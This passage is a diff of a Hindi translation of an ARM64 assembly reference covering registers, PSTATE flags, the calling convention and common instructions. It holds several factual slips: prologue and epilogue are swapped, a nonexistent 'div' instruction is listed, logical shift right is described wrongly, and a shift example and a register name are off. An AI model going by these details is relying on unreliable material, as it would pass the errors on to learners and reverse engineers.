अप्रत्यक्ष फ़ंक्शन कॉल और PLT (प्रक्रिया लिंक टेबल) स्टब के लिए भी उपयोग किया जाता है। -- **`x16`** **macOS** में **`svc`** निर्देश के लिए **सिस्टम कॉल नंबर** के रूप में उपयोग किया जाता है। -5. **`x18`** - **प्लेटफ़ॉर्म रजिस्टर**। इसे सामान्य-उद्देश्य रजिस्टर के रूप में उपयोग किया जा सकता है, लेकिन कुछ प्लेटफार्मों पर, यह रजिस्टर प्लेटफॉर्म-विशिष्ट उपयोगों के लिए आरक्षित है: विंडोज़ में वर्तमान थ्रेड वातावरण ब्लॉक के लिए पॉइंटर, या वर्तमान **लिनक्स कर्नेल में निष्पादित कार्य संरचना को इंगित करने के लिए**। -6. **`x19`** से **`x28`** - ये कॉल-सेव किए गए रजिस्टर हैं। एक फ़ंक्शन को अपने कॉलर के लिए इन रजिस्टरों के मानों को संरक्षित करना चाहिए, इसलिए इन्हें स्टैक में संग्रहीत किया जाता है और कॉलर पर वापस जाने से पहले पुनर्प्राप्त किया जाता है। -7. **`x29`** - **फ्रेम पॉइंटर** स्टैक फ्रेम को ट्रैक करने के लिए। जब एक नया स्टैक फ्रेम बनाया जाता है क्योंकि एक फ़ंक्शन को कॉल किया जाता है, तो **`x29`** रजिस्टर **स्टैक में संग्रहीत** किया जाता है और **नया** फ्रेम पॉइंटर पता (**`sp`** पता) इस रजिस्ट्रि में **संग्रहीत** किया जाता है। -- इस रजिस्टर का उपयोग एक **सामान्य-उद्देश्य रजिस्टर** के रूप में भी किया जा सकता है, हालांकि इसे आमतौर पर **स्थानीय चर** के संदर्भ के रूप में उपयोग किया जाता है। -8. **`x30`** या **`lr`**- **लिंक रजिस्टर**। यह एक `BL` (ब्रांच विद लिंक) या `BLR` (ब्रांच विद लिंक टू रजिस्टर) निर्देश के निष्पादन के समय **रिटर्न पता** रखता है, जो इस रजिस्टर में **`pc`** मान को संग्रहीत करता है। -- इसे किसी अन्य रजिस्टर की तरह भी उपयोग किया जा सकता है। -- यदि वर्तमान फ़ंक्शन एक नए फ़ंक्शन को कॉल करने जा रहा है और इसलिए `lr` को ओवरराइट करेगा, तो यह इसे स्टैक में शुरुआत में संग्रहीत करेगा, यह उपसंहार है (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` और `lr` को स्टोर करें, स्थान उत्पन्न करें और नया `fp` प्राप्त करें) और अंत में इसे पुनर्प्राप्त करें, यह प्रस्तावना है (`ldp x29, x30, [sp], #48; ret` -> `fp` और `lr` को पुनर्प्राप्त करें और लौटें)। -9. **`sp`** - **स्टैक पॉइंटर**, जो स्टैक के शीर्ष को ट्रैक करने के लिए उपयोग किया जाता है। -- **`sp`** मान को हमेशा कम से कम एक **क्वाडवर्ड** **संरेखण** पर रखा जाना चाहिए, अन्यथा एक संरेखण अपवाद हो सकता है। -10. **`pc`** - **प्रोग्राम काउंटर**, जो अगले निर्देश की ओर इशारा करता है। इस रजिस्टर को केवल अपवाद उत्पन्न करने, अपवाद लौटाने और शाखाओं के माध्यम से अपडेट किया जा सकता है। इस रजिस्टर को पढ़ने के लिए केवल सामान्य निर्देश शाखा के साथ लिंक निर्देश (BL, BLR) हैं, जो **`pc`** पता को **`lr`** (लिंक रजिस्टर) में संग्रहीत करते हैं। -11. **`xzr`** - **ज़ीरो रजिस्टर**। इसे **`wzr`** भी कहा जाता है इसके **32**-बिट रजिस्टर रूप में। इसे आसानी से शून्य मान प्राप्त करने के लिए (सामान्य ऑपरेशन) या **`subs`** का उपयोग करके तुलना करने के लिए उपयोग किया जा सकता है जैसे **`subs XZR, Xn, #10`** परिणामस्वरूप डेटा को कहीं भी संग्रहीत किए बिना ( **`xzr`** में)। +1. **`x0`** से **`x7`** - ये आम तौर पर scratch registers और subroutines को पैरामीटर पास करने के लिए उपयोग किए जाते हैं। +- **`x0`** एक फ़ंक्शन के return data को भी वहन करता है +2. **`x8`** - Linux kernel में, `x8` का उपयोग `svc` instruction के लिए system call number के रूप में किया जाता है। **In macOS the x16 is the one used!** +3. **`x9`** से **`x15`** - और अधिक temporary registers, अक्सर local variables के लिए उपयोग किए जाते हैं। +4. **`x16`** और **`x17`** - **Intra-procedural Call Registers**। Immediate मानों के लिए temporary registers। इन्हें indirect function calls और PLT (Procedure Linkage Table) stubs के लिए भी उपयोग किया जाता है। +- **`x16`** को **macOS** में **`svc`** instruction के लिए **system call number** के रूप में उपयोग किया जाता है। +5. **`x18`** - **Platform register**। इसे सामान्य प्रयोजन के रूप में उपयोग किया जा सकता है, लेकिन कुछ प्लेटफार्मों पर यह प्लेटफार्म-विशिष्ट उपयोगों के लिए आरक्षित होता है: Windows में current thread environment block का pointer, या linux kernel में वर्तमान **executing task structure** की ओर पॉइंट करने के लिए। +6. **`x19`** से **`x28`** - ये callee-saved registers हैं। एक फ़ंक्शन को इन registers के मानों को उसके caller के लिए संरक्षित रखना चाहिए, इसलिए इन्हें stack में सेव किया जाता है और caller को लौटने से पहले पुनर्स्थापित किया जाता है। +7. **`x29`** - **Frame pointer** जो stack frame का ट्रैक रखने के लिए होता है। जब किसी फ़ंक्शन के कॉल होने पर नया stack frame बनता है, तो **`x29`** register **stack में संग्रहीत** किया जाता है और नया frame pointer address (जो कि **`sp`** address होता है) इस register में **संग्रहीत** किया जाता है। +- यह register सामान्य प्रयोजन के रूप में भी उपयोग किया जा सकता है हालाँकि इसे आमतौर पर **local variables** के संदर्भ के रूप में उपयोग किया जाता है। +8. **`x30`** या **`lr`** - **Link register**। यह `BL` (Branch with Link) या `BLR` (Branch with Link to Register) instruction निष्पादित होने पर **return address** रखता है क्योंकि यह register में **`pc`** मान संग्रहीत कर देता है। +- इसे किसी अन्य register की तरह भी उपयोग किया जा सकता है। +- यदि वर्तमान फ़ंक्शन एक नए फ़ंक्शन को कॉल करने वाला है और इसलिए `lr` overwrite हो जाएगा, तो यह इसे शुरुआत में stack में संग्रहीत करेगा, यह epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) है और अंत में इसे पुनर्प्राप्त करता है, यह prologue (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return`) है। +9. **`sp`** - **Stack pointer**, जो stack के शीर्ष का ट्रैक रखने के लिए उपयोग होता है। +- **`sp`** मान को हमेशा कम से कम एक **quadword** **alignment** में रखा जाना चाहिए अन्यथा alignment exception हो सकती है। +10. **`pc`** - **Program counter**, जो अगले instruction की ओर इशारा करता है। इस register को केवल exception generation, exception returns, और branches के माध्यम से ही अपडेट किया जा सकता है। सामान्य instructions में केवल branch with link instructions (BL, BLR) ही इस register को पढ़ सकते हैं ताकि वे **`pc`** address को **`lr`** (Link Register) में स्टोर कर सकें। +11. **`xzr`** - **Zero register**। 32-बिट register स्वरूप में इसे **`wzr`** भी कहा जाता है। इसे zero मान आसानी से प्राप्त करने के लिए उपयोग किया जा सकता है (सामान्य ऑपरेशन) या तुलना करने के लिए `subs` जैसी instructions में परिणाम को कहीं स्टोर न करने के लिए उपयोग किया जा सकता है (उदा. **`subs XZR, Xn, #10`**). -**`Wn`** रजिस्टर **`Xn`** रजिस्टर का **32-बिट** संस्करण हैं। +**`Wn`** registers **`Xn`** register का **32bit** संस्करण हैं। -### SIMD और फ्लोटिंग-पॉइंट रजिस्टर +> [!TIP] +> Registers from X0 - X18 volatile होते हैं, जिसका अर्थ है कि उनका मान function calls और interrupts द्वारा बदला जा सकता है। हालाँकि, registers from X19 - X28 non-volatile हैं, यानी इनके मानों को function calls के दौरान संरक्षित रखना होगा ("callee saved")। -इसके अलावा, **128-बिट लंबाई के 32 रजिस्टर** हैं जिन्हें अनुकूलित सिंगल इंस्ट्रक्शन मल्टीपल डेटा (SIMD) संचालन में और फ्लोटिंग-पॉइंट अंकगणित करने के लिए उपयोग किया जा सकता है। इन्हें Vn रजिस्टर कहा जाता है, हालांकि वे **64**-बिट, **32**-बिट, **16**-बिट और **8**-बिट में भी कार्य कर सकते हैं और तब इन्हें **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** और **`Bn`** कहा जाता है। +### SIMD and Floating-Point Registers -### सिस्टम रजिस्टर +इसके अलावा, और भी **32 registers of 128bit length** हैं जो optimized single instruction multiple data (SIMD) operations और floating-point arithmetic के लिए उपयोग किए जा सकते हैं। इन्हें Vn registers कहा जाता है हालाँकि इन्हें **64**-bit, **32**-bit, **16**-bit और **8**-bit मोड में भी चलाया जा सकता है और तब इन्हें **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** और **`Bn`** कहा जाता है। -**सैकड़ों सिस्टम रजिस्टर** हैं, जिन्हें विशेष-उद्देश्य रजिस्टर (SPRs) भी कहा जाता है, जो **प्रोसेसर** के व्यवहार की **निगरानी** और **नियंत्रण** के लिए उपयोग किए जाते हैं।\ -इन्हें केवल समर्पित विशेष निर्देश **`mrs`** और **`msr`** का उपयोग करके पढ़ा या सेट किया जा सकता है। +### System Registers -विशेष रजिस्टर **`TPIDR_EL0`** और **`TPIDDR_EL0`** आमतौर पर रिवर्स इंजीनियरिंग करते समय पाए जाते हैं। `EL0` उपसर्ग उस **न्यूनतम अपवाद** को इंगित करता है जिससे रजिस्टर को एक्सेस किया जा सकता है (इस मामले में EL0 नियमित अपवाद (विशेषाधिकार) स्तर है जिस पर नियमित प्रोग्राम चलते हैं)।\ -इन्हें आमतौर पर **थ्रेड-स्थानीय भंडारण** मेमोरी क्षेत्र के **बेस पते** को संग्रहीत करने के लिए उपयोग किया जाता है। आमतौर पर पहला रजिस्टर EL0 में चलने वाले प्रोग्राम के लिए पढ़ने और लिखने योग्य होता है, लेकिन दूसरा EL0 से पढ़ा जा सकता है और EL1 (जैसे कर्नेल) से लिखा जा सकता है। +**There are hundreds of system registers**, जिन्हें special-purpose registers (SPRs) भी कहा जाता है, processors के व्यवहार की **monitoring** और **controlling** के लिए उपयोग किए जाते हैं.\ +इन्हें केवल समर्पित special instructions **`mrs`** और **`msr`** का उपयोग करके पढ़ा या सेट किया जा सकता है। -- `mrs x0, TPIDR_EL0 ; TPIDR_EL0 को x0 में पढ़ें` -- `msr TPIDR_EL0, X0 ; x0 को TPIDR_EL0 में लिखें` +विशेष registers **`TPIDR_EL0`** और **`TPIDDR_EL0`** reversing engineering में अक्सर मिलते हैं। `EL0` suffix दर्शाता है कि यह register किस न्यूनतम exception स्तर से एक्सेस किया जा सकता है (इस मामले में EL0 वह नियमित exception (privilege) स्तर है जिस पर सामान्य प्रोग्राम चलते हैं)।\ +इनका अक्सर उपयोग thread-local storage क्षेत्र के base address को store करने के लिए किया जाता है। आमतौर पर पहला readable और writable होता है programs द्वारा जो EL0 में चल रहे हैं, लेकिन दूसरा EL0 से पढ़ा जा सकता है और EL1 (kernel) से लिखा जा सकता है। + +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** में कई प्रक्रिया घटक होते हैं जो ऑपरेटिंग-सिस्टम-दृश्यमान **`SPSR_ELx`** विशेष रजिस्टर में अनुक्रमित होते हैं, X वह **अनुमति** **स्तर** है जिस पर अपवाद उत्पन्न होता है (यह अपवाद समाप्त होने पर प्रक्रिया की स्थिति को पुनर्प्राप्त करने की अनुमति देता है)।\ -ये सुलभ क्षेत्र हैं: +**PSTATE** में कई process घटक होते हैं जो operating-system-visible **`SPSR_ELx`** special register में serialized होते हैं, जहाँ X triggered exception का **permission** **level** होता है (यह exception समाप्त होने पर process state को पुनर्प्राप्त करने की अनुमति देता है)।\ +ये पहुँच योग्य fields हैं:
-- **`N`**, **`Z`**, **`C`** और **`V`** स्थिति ध्वज: -- **`N`** का अर्थ है कि ऑपरेशन ने नकारात्मक परिणाम उत्पन्न किया -- **`Z`** का अर्थ है कि ऑपरेशन ने शून्य उत्पन्न किया -- **`C`** का अर्थ है कि ऑपरेशन ने कैरी किया -- **`V`** का अर्थ है कि ऑपरेशन ने एक साइन ओवरफ्लो उत्पन्न किया: -- दो सकारात्मक संख्याओं का योग एक नकारात्मक परिणाम उत्पन्न करता है। -- दो नकारात्मक संख्याओं का योग एक सकारात्मक परिणाम उत्पन्न करता है। -- घटाव में, जब एक बड़ा नकारात्मक संख्या एक छोटे सकारात्मक संख्या (या इसके विपरीत) से घटाई जाती है, और परिणाम को दिए गए बिट आकार की सीमा के भीतर प्रदर्शित नहीं किया जा सकता है। -- स्पष्ट रूप से प्रोसेसर नहीं जानता कि ऑपरेशन साइन किया गया है या नहीं, इसलिए यह ऑपरेशनों में C और V की जांच करेगा और यह संकेत देगा कि यदि कैरी हुआ है तो यह साइन किया गया था या असाइन किया गया था। +- The **`N`**, **`Z`**, **`C`** और **`V`** condition flags: +- **`N`** मतलब ऑपरेशन का परिणाम नकारात्मक हुआ +- **`Z`** मतलब ऑपरेशन शून्य हुआ +- **`C`** मतलब ऑपरेशन में carry हुआ +- **`V`** मतलब ऑपरेशन में signed overflow हुआ: +- दो सकारात्मक संख्याओं के जोड़ से नकारात्मक परिणाम होना। +- दो नकारात्मक संख्याओं के जोड़ से सकारात्मक परिणाम होना। +- घटाव में, जब एक बड़ा नकारात्मक नंबर एक छोटे सकारात्मक नंबर से घटाया जाता है (या इसके विपरीत), और परिणाम दिए गए बिट आकार की सीमा में प्रदर्शित नहीं किया जा सकता। +- स्पष्ट रूप से processor यह नहीं जानता कि ऑपरेशन signed है या नहीं, इसलिए यह operations में C और V की जाँच करेगा और बताएगा कि carry हुआ या नहीं चाहे वह signed या unsigned हो। > [!WARNING] -> सभी निर्देश इन ध्वजों को अपडेट नहीं करते हैं। कुछ जैसे **`CMP`** या **`TST`** करते हैं, और अन्य जिनके पास s उपसर्ग होता है जैसे **`ADDS`** भी ऐसा करते हैं। +> सभी instructions इन flags को अपडेट नहीं करते। कुछ जैसे **`CMP`** या **`TST`** करते हैं, और अन्य जिनके अंत में s लगा होता है जैसे **`ADDS`** भी करते हैं। -- वर्तमान **रजिस्टर चौड़ाई (`nRW`) ध्वज**: यदि ध्वज का मान 0 है, तो प्रोग्राम फिर से शुरू होने पर AArch64 निष्पादन स्थिति में चलेगा। -- वर्तमान **अपवाद स्तर** (**`EL`**): EL0 में चलने वाला एक नियमित प्रोग्राम का मान 0 होगा। -- **सिंगल स्टेपिंग** ध्वज (**`SS`**): डिबगर्स द्वारा एक सिंगल स्टेप सेट करने के लिए उपयोग किया जाता है, **`SPSR_ELx`** के भीतर एक अपवाद के माध्यम से SS ध्वज को 1 पर सेट करके। प्रोग्राम एक कदम चलेगा और एक सिंगल स्टेप अपवाद उत्पन्न करेगा। -- **अवैध अपवाद** स्थिति ध्वज (**`IL`**): इसका उपयोग तब किया जाता है जब एक विशेषाधिकार प्राप्त सॉफ़्टवेयर एक अवैध अपवाद स्तर स्थानांतरण करता है, यह ध्वज 1 पर सेट किया जाता है और प्रोसेसर एक अवैध स्थिति अपवाद उत्पन्न करता है। -- **`DAIF`** ध्वज: ये ध्वज एक विशेषाधिकार प्राप्त प्रोग्राम को कुछ बाहरी अपवादों को चयनात्मक रूप से मास्क करने की अनुमति देते हैं। -- यदि **`A`** 1 है, तो इसका अर्थ है कि **असिंक्रोनस एबॉर्ट** उत्पन्न होंगे। **`I`** बाहरी हार्डवेयर **इंटरप्ट रिक्वेस्ट** (IRQs) का उत्तर देने के लिए कॉन्फ़िगर करता है। और F **फास्ट इंटरप्ट रिक्वेस्ट** (FIRs) से संबंधित है। -- **स्टैक पॉइंटर चयन** ध्वज (**`SPS`**): EL1 और उससे ऊपर चलने वाले विशेषाधिकार प्राप्त प्रोग्राम अपने स्वयं के स्टैक पॉइंटर रजिस्टर और उपयोगकर्ता-मॉडल वाले के बीच स्विच कर सकते हैं (जैसे `SP_EL1` और `EL0` के बीच)। यह स्विचिंग **`SPSel`** विशेष रजिस्टर में लिखकर की जाती है। इसे EL0 से नहीं किया जा सकता है। +- वर्तमान **register width (`nRW`) flag**: यदि यह flag 0 रखता है, तो प्रोग्राम AArch64 execution state में resumed होने पर चलेगा। +- वर्तमान **Exception Level** (**`EL`**): EL0 में चल रहा सामान्य प्रोग्राम का मान 0 होगा +- **single stepping** flag (**`SS`**): Debuggers द्वारा single step करने के लिए उपयोग किया जाता है—exception के माध्यम से **`SPSR_ELx`** के अंदर SS flag को 1 सेट करके। प्रोग्राम एक step चलाएगा और एक single step exception जारी करेगा। +- **illegal exception** state flag (**`IL`**): यह तब मार्क करने के लिए उपयोग किया जाता है जब कोई privileged सॉफ़्टवेयर invalid exception level transfer करता है, यह flag 1 पर सेट हो जाता है और processor एक illegal state exception ट्रिगर करता है। +- **`DAIF`** flags: ये flags privileged प्रोग्राम को कुछ external exceptions को selective रूप से mask करने की अनुमति देते हैं। +- यदि **`A`** 1 है तो इसका मतलब है कि **asynchronous aborts** ट्रिगर होंगे। **`I`** external hardware **Interrupts Requests** (IRQs) का जवाब देने के लिए configure करता है। और **F** का संबंध **Fast Interrupt Requests** (FIRs) से है। +- **stack pointer select** flags (**`SPS`**): EL1 और उससे ऊपर चल रहे privileged प्रोग्राम अपने स्वयं के stack pointer register और user-model वाले के बीच swap कर सकते हैं (उदा. `SP_EL1` और `EL0`)। यह switching **`SPSel`** special register में लिखकर किया जाता है। इसे EL0 से नहीं किया जा सकता। -## **कॉलिंग कन्वेंशन (ARM64v8)** +## **Calling Convention (ARM64v8)** -ARM64 कॉलिंग कन्वेंशन निर्दिष्ट करता है कि एक फ़ंक्शन के लिए **पहले आठ पैरामीटर** रजिस्टर **`x0` से `x7`** में पास किए जाते हैं। **अतिरिक्त** पैरामीटर **स्टैक** पर पास किए जाते हैं। **रिटर्न** मान रजिस्टर **`x0`** में वापस पास किया जाता है, या **`x1`** में भी **यदि यह 128 बिट लंबा है**। **`x19`** से **`x30`** और **`sp`** रजिस्टर को फ़ंक्शन कॉल के बीच **संरक्षित** किया जाना चाहिए। +ARM64 calling convention निर्दिष्ट करता है कि किसी फ़ंक्शन के पहले आठ पैरामीटर registers **`x0` से `x7`** में पास किए जाते हैं। अतिरिक्त पैरामीटर **stack** पर पास किए जाते हैं। return value register **`x0`** में वापस की जाती है, या यदि यह 128 बिट लंबी है तो **`x1`** में भी। **`x19`** से **`x30`** और **`sp`** registers को function calls के दौरान **preserve** किया जाना चाहिए। -जब असेंबली में एक फ़ंक्शन को पढ़ते हैं, तो **फ़ंक्शन प्रस्तावना और उपसंहार** की तलाश करें। **प्रस्तावना** आमतौर पर **फ्रेम पॉइंटर (`x29`)** को **सहेजने**, एक **नया फ्रेम पॉइंटर** सेट करने और **स्टैक स्पेस आवंटित करने** में शामिल होती है। **उपसंहार** आमतौर पर **सहेजे गए फ्रेम पॉइंटर को पुनर्स्थापित करने** और फ़ंक्शन से **लौटने** में शामिल होता है। +यदि आप assembly में किसी फ़ंक्शन को पढ़ रहे हैं, तो फ़ंक्शन prologue और epilogue की तलाश करें। **prologue** आम तौर पर **frame pointer (`x29`) को सुरक्षित करना**, **नया frame pointer सेट करना**, और **stack space allocate करना** शामिल करता है। **epilogue** आम तौर पर **saved frame pointer को पुनर्स्थापित करना** और फ़ंक्शन से **return** करना शामिल करता है। -### स्विफ्ट में कॉलिंग कन्वेंशन +### Calling Convention in Swift -स्विफ्ट का अपना **कॉलिंग कन्वेंशन** है जिसे [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) में पाया जा सकता है। +Swift की अपनी **calling convention** है जिसे आप [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) पर देख सकते हैं -## **सामान्य निर्देश (ARM64v8)** +## **Common Instructions (ARM64v8)** -ARM64 निर्देश आमतौर पर **फॉर्मेट `opcode dst, src1, src2`** में होते हैं, जहाँ **`opcode`** वह **ऑपरेशन** है जिसे किया जाना है (जैसे `add`, `sub`, `mov`, आदि), **`dst`** वह **गंतव्य** रजिस्टर है जहाँ परिणाम संग्रहीत किया जाएगा, और **`src1`** और **`src2`** वह **स्रोत** रजिस्टर हैं। तत्काल मानों का भी स्रोत रजिस्टर के स्थान पर उपयोग किया जा सकता है। +ARM64 instructions सामान्यतः **`opcode dst, src1, src2`** प्रारूप में होते हैं, जहाँ **`opcode`** वह ऑपरेशन होता है जिसे निष्पादित किया जाना है (जैसे `add`, `sub`, `mov`, आदि), **`dst`** वह destination register है जहाँ परिणाम संग्रहित होगा, और **`src1`** तथा **`src2`** source registers होते हैं। Immediate मान भी source registers की जगह उपयोग किए जा सकते हैं। -- **`mov`**: एक **रजिस्टर** से दूसरे में एक मान **स्थानांतरित** करें। -- उदाहरण: `mov x0, x1` — यह `x1` से `x0` में मान स्थानांतरित करता है। -- **`ldr`**: **मेमोरी** से एक मान को **रजिस्टर** में **लोड** करें। -- उदाहरण: `ldr x0, [x1]` — यह `x1` द्वारा इंगित मेमोरी स्थान से एक मान को `x0` में लोड करता है। -- **ऑफसेट मोड**: एक ऑफसेट जो ओरिजिन पॉइंटर को प्रभावित करता है, उदाहरण के लिए: -- `ldr x2, [x1, #8]`, यह x2 में x1 + 8 से मान लोड करेगा। -- `ldr x2, [x0, x1, lsl #2]`, यह x2 में x0 के एरे से एक वस्तु लोड करेगा, स्थिति x1 (सूचकांक) \* 4 से। -- **पूर्व-निर्देशित मोड**: यह मूल पर गणनाएँ लागू करेगा, परिणाम प्राप्त करेगा और नए मूल को भी मूल में संग्रहीत करेगा। -- `ldr x2, [x1, #8]!`, यह `x1 + 8` को `x2` में लोड करेगा और `x1` में `x1 + 8` का परिणाम संग्रहीत करेगा। -- `str lr, [sp, #-4]!`, लिंक रजिस्टर को sp में संग्रहीत करें और रजिस्टर sp को अपडेट करें। -- **पोस्ट-निर्देशित मोड**: यह पिछले वाले के समान है लेकिन मेमोरी पता पहले एक्सेस किया जाता है और फिर ऑफसेट की गणना की जाती है और संग्रहीत की जाती है। -- `ldr x0, [x1], #8`, `x1` को `x0` में लोड करें और `x1` को `x1 + 8` के साथ अपडेट करें। -- **PC-सापेक्ष पता लगाना**: इस मामले में लोड करने के लिए पता PC रजिस्टर के सापेक्ष गणना की जाती है। -- `ldr x1, =_start`, यह `_start` प्रतीक के प्रारंभ होने का पता x1 में लोड करेगा जो वर्तमान PC से संबंधित है। -- **`str`**: एक **रजिस्टर** से **मेमोरी** में एक मान **संग्रहीत** करें। -- उदाहरण: `str x0, [x1]` — यह `x0` में मान को `x1` द्वारा इंगित मेमोरी स्थान में संग्रहीत करता है। -- **`ldp`**: **रजिस्टर के जोड़े को लोड करें**। यह निर्देश **दो रजिस्टरों** को **लगातार मेमोरी** स्थानों से लोड करता है। मेमोरी पता आमतौर पर किसी अन्य रजिस्टर में मान के साथ एक ऑफसेट जोड़कर बनाया जाता है। -- उदाहरण: `ldp x0, x1, [x2]` — यह `x0` और `x1` को `x2` और `x2 + 8` पर मेमोरी स्थानों से लोड करता है। -- **`stp`**: **रजिस्टर के जोड़े को संग्रहीत करें**। यह निर्देश **दो रजिस्टरों** को **लगातार मेमोरी** स्थानों में संग्रहीत करता है। मेमोरी पता आमतौर पर किसी अन्य रजिस्टर में मान के साथ एक ऑफसेट जोड़कर बनाया जाता है। -- उदाहरण: `stp x0, x1, [sp]` — यह `x0` और `x1` को `sp` और `sp + 8` पर मेमोरी स्थानों में संग्रहीत करता है। -- `stp x0, x1, [sp, #16]!` — यह `x0` और `x1` को `sp+16` और `sp + 24` पर मेमोरी स्थानों में संग्रहीत करता है, और `sp` को `sp+16` के साथ अपडेट करता है। -- **`add`**: दो रजिस्टरों के मानों को **जोड़ें** और परिणाम को एक रजिस्टर में संग्रहीत करें। -- सिंटैक्स: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] -- Xn1 -> गंतव्य -- Xn2 -> ऑपरेन्ड 1 -- Xn3 | #imm -> ऑपरेन्ड 2 (रजिस्टर या तत्काल) -- \[shift #N | RRX] -> एक शिफ्ट करें या RRX को कॉल करें -- उदाहरण: `add x0, x1, x2` — यह `x1` और `x2` में मानों को जोड़ता है और परिणाम को `x0` में संग्रहीत करता है। -- `add x5, x5, #1, lsl #12` — यह 4096 के बराबर है (1 को 12 बार शिफ्ट करना) -> 1 0000 0000 0000 0000 -- **`adds`** यह एक `add` करता है और ध्वज को अपडेट करता है। -- **`sub`**: दो रजिस्टरों के मानों को घटाएं और परिणाम को एक रजिस्टर में संग्रहीत करें। -- **`add`** **सिंटैक्स** की जांच करें। -- उदाहरण: `sub x0, x1, x2` — यह `x2` के मान को `x1` से घटाता है और परिणाम को `x0` में संग्रहीत करता है। -- **`subs`** यह घटाने जैसा है लेकिन ध्वज को अपडेट करता है। -- **`mul`**: **दो रजिस्टरों** के मानों को **गुणा** करें और परिणाम को एक रजिस्टर में संग्रहीत करें। -- उदाहरण: `mul x0, x1, x2` — यह `x1` और `x2` में मानों को गुणा करता है और परिणाम को `x0` में संग्रहीत करता है। -- **`div`**: एक रजिस्टर के मान को दूसरे से विभाजित करें और परिणाम को एक रजिस्टर में संग्रहीत करें। -- उदाहरण: `div x0, x1, x2` — यह `x1` के मान को `x2` से विभाजित करता है और परिणाम को `x0` में संग्रहीत करता है। +- **`mov`**: एक मान को एक **register** से दूसरे में **Move** करना। +- उदाहरण: `mov x0, x1` — यह `x1` से मान को `x0` में ले जाता है। +- **`ldr`**: **Load** करना memory से एक मान को register में। +- उदाहरण: `ldr x0, [x1]` — यह `x1` द्वारा संकेतित memory location से मान को `x0` में लोड करता है। +- **Offset mode**: एक offset जो origin pointer को प्रभावित करता है, उदाहरण के लिए: +- `ldr x2, [x1, #8]`, यह x2 में x1 + 8 से मान लोड करेगा +- `ldr x2, [x0, x1, lsl #2]`, यह x2 में array x0 से object लोड करेगा, position x1 (index) * 4 से +- **Pre-indexed mode**: यह origin पर calculation लागू करेगा, परिणाम प्राप्त करेगा और नया origin भी origin में स्टोर करेगा। +- `ldr x2, [x1, #8]!`, यह `x1 + 8` को `x2` में लोड करेगा और x1 में `x1 + 8` का परिणाम स्टोर करेगा +- `str lr, [sp, #-4]!`, link register को sp में स्टोर करें और register sp को update करें +- **Post-index mode**: यह पिछले जैसा है पर memory address पहले एक्सेस किया जाता है और फिर offset की गणना की जाती है और स्टोर किया जाता है। +- `ldr x0, [x1], #8`, `x1` को `x0` में लोड करें और x1 को `x1 + 8` से अपडेट करें +- **PC-relative addressing**: इस मामले में load करने के लिए address PC register के सापेक्ष गणना की जाती है +- `ldr x1, =_start`, यह वर्तमान PC से संबंधित `_start` symbol के स्थान का address `x1` में लोड करेगा। +- **`str`**: एक मान को **register** से **memory** में **Store** करना। +- उदाहरण: `str x0, [x1]` — यह `x0` में मौजूद मान को `x1` द्वारा संकेतित memory location में स्टोर करता है। +- **`ldp`**: **Load Pair of Registers**। यह instruction लगातार memory locations से दो registers लोड करती है। memory address आमतौर पर किसी अन्य register के मान में offset जोड़कर बनाया जाता है। +- उदाहरण: `ldp x0, x1, [x2]` — यह `x0` और `x1` को memory locations at `x2` और `x2 + 8` से लोड करता है। +- **`stp`**: **Store Pair of Registers**। यह instruction लगातार memory locations में दो registers स्टोर करती है। memory address आमतौर पर किसी अन्य register के मान में offset जोड़कर बनाया जाता है। +- उदाहरण: `stp x0, x1, [sp]` — यह `x0` और `x1` को memory locations at `sp` और `sp + 8` में स्टोर करता है। +- `stp x0, x1, [sp, #16]!` — यह `x0` और `x1` को memory locations at `sp+16` और `sp + 24` में स्टोर करता है, और `sp` को `sp+16` से अपडेट करता है। +- **`add`**: दो registers के मानों को जोड़ना और परिणाम को एक register में स्टोर करना। +- Syntax: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] +- Xn1 -> Destination +- Xn2 -> Operand 1 +- Xn3 | #imm -> Operand 2 (register या immediate) +- \[shift #N | RRX] -> Shift perform करें या RRX कॉल करें +- उदाहरण: `add x0, x1, x2` — यह `x1` और `x2` के मानों को जोड़कर परिणाम `x0` में स्टोर करेगा। +- `add x5, x5, #1, lsl #12` — यह 4096 के बराबर है (1 को 12 बार shift करना) -> 1 0000 0000 0000 0000 +- **`adds`** यह `add` करता है और flags को अपडेट करता है +- **`sub`**: दो registers के मानों को घटाना और परिणाम को एक register में स्टोर करना। +- Syntax के लिए **`add`** देखें। +- उदाहरण: `sub x0, x1, x2` — यह `x2` के मान को `x1` से घटाकर परिणाम `x0` में स्टोर करता है। +- **`subs`** यह sub जैसा है पर flags को अपडेट करता है +- **`mul`**: दो registers के मानों का गुणा करना और परिणाम को एक register में स्टोर करना। +- उदाहरण: `mul x0, x1, x2` — यह `x1` और `x2` के मानों को गुणा करके परिणाम `x0` में स्टोर करेगा। +- **`div`**: एक register के मान को दूसरे से विभाजित करना और परिणाम को एक register में स्टोर करना। +- उदाहरण: `div x0, x1, x2` — यह `x1` को `x2` से विभाजित करके परिणाम `x0` में स्टोर करता है। - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **लॉजिकल शिफ्ट लेफ्ट**: अंत से 0 जोड़ें और अन्य बिट्स को आगे बढ़ाएं (n-बार 2 से गुणा करें) -- **लॉजिकल शिफ्ट राइट**: शुरुआत में 1 जोड़ें और अन्य बिट्स को पीछे की ओर बढ़ाएं (unsigned में n-बार 2 से विभाजित करें) -- **अर्थमैटिक शिफ्ट राइट**: **`lsr`** की तरह, लेकिन यदि सबसे महत्वपूर्ण बिट 1 है, तो 0 जोड़ने के बजाय, **1 जोड़े जाते हैं** (signed में n-बार 2 से विभाजित करें) -- **रोटेट राइट**: **`lsr`** की तरह, लेकिन जो कुछ भी दाईं ओर से हटा दिया गया है, उसे बाईं ओर 